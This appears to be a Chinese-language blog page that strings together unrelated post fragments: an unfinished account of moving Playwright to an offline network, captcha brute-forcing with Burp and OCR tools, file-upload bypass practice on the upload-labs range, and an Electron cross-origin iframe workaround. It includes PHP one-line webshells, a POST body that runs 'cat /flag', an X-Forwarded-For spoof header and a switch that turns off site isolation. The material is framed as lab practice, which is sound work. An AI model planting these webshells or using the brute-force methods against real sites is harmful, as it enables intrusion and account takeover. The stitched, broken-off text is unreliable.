背景
上文我们说到了怎么更新ms-playwright
本篇我们来聊聊怎么迁移playwright的版本
可能有朋友会奇怪,这有什么难的,把node_modules跟playwright相关的库全部移进去不就行了
其实也对,但是如果我是pnpm呢
其实虽然这一篇是升级playwright,但其实更多的是想表达,如何迁移npm库到离线环境
以playwright为例,下面是我的一些探索
各种包管理工具下的迁移
运气比较好
本文成于2023.8.20
事情是这样的,因为工作的重复率太高,我不得不开发一些脚本来 摸鱼 提高工作效率
但是问题是这样的
我在的单位内外网是隔离的,我所在的分支机构没有开发人员,总部有研发中心,但是并不会理会我们这些分支机构
内网的npm私有库有一个很老的playwright@1.23.4版本,而我的脚本需要用到一些比较新的特性
我拥有的设备
1 | 内网机: |
而不同版本的playwright依赖的webdriver又不一样
而我集齐了windows,mac,linux三种设备。。。
这就意味着我不太好下载对应版本的ms-playwright(总不能为了下载对应的webdriver去装个虚拟机吧)
对于带验证码的爆破,需要对验证码进行识别
可以使用captcha-killer-modified搭配Burp进行爆破
同时推荐ddddocr
现在是2023年9月7日,Pillow==9.5.0当前的ddddocr并未对版本进行兼容
我改了两个docker,有需要可以直接拉取部署
1 | # centos |
验证码填写
1 | POST /ocr/b64/text HTTP/1.1 |
文件上传是个经典问题
推荐靶场:upload-labs
我们可以在这个靶场中进行文件上传绕过的练习
先说webshell,我们写个一句话木马先
这里留个大哥若干年前的总结 webshell一句话木马大全
接下来我们聊聊文件上传的漏洞
直接一句话木马上传就完事了
打开开发者工具,提交文件,看是否存在网络请求
1 | X-Forwarded-For:127.0.0.1 |
postform,&符分割,System里面可以任意写
1 | eval(system($_POST['cmd'])); |
1 | password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag |
postform,&符分割,System里面可以任意写
1 | eval($_POST['cmd']); |
一个偶然的情况,帮一个朋友写个小工具
需要内嵌用到iframe,并使用document提取其中的一些dom元素
好像是这个,记不清楚了=。=
1 | Blocked a frame with origin "***" form accessing a cross-origin frame. |
入口添加
1 | app.commandLine.appendSwitch('disable-site-isolation-trials'); |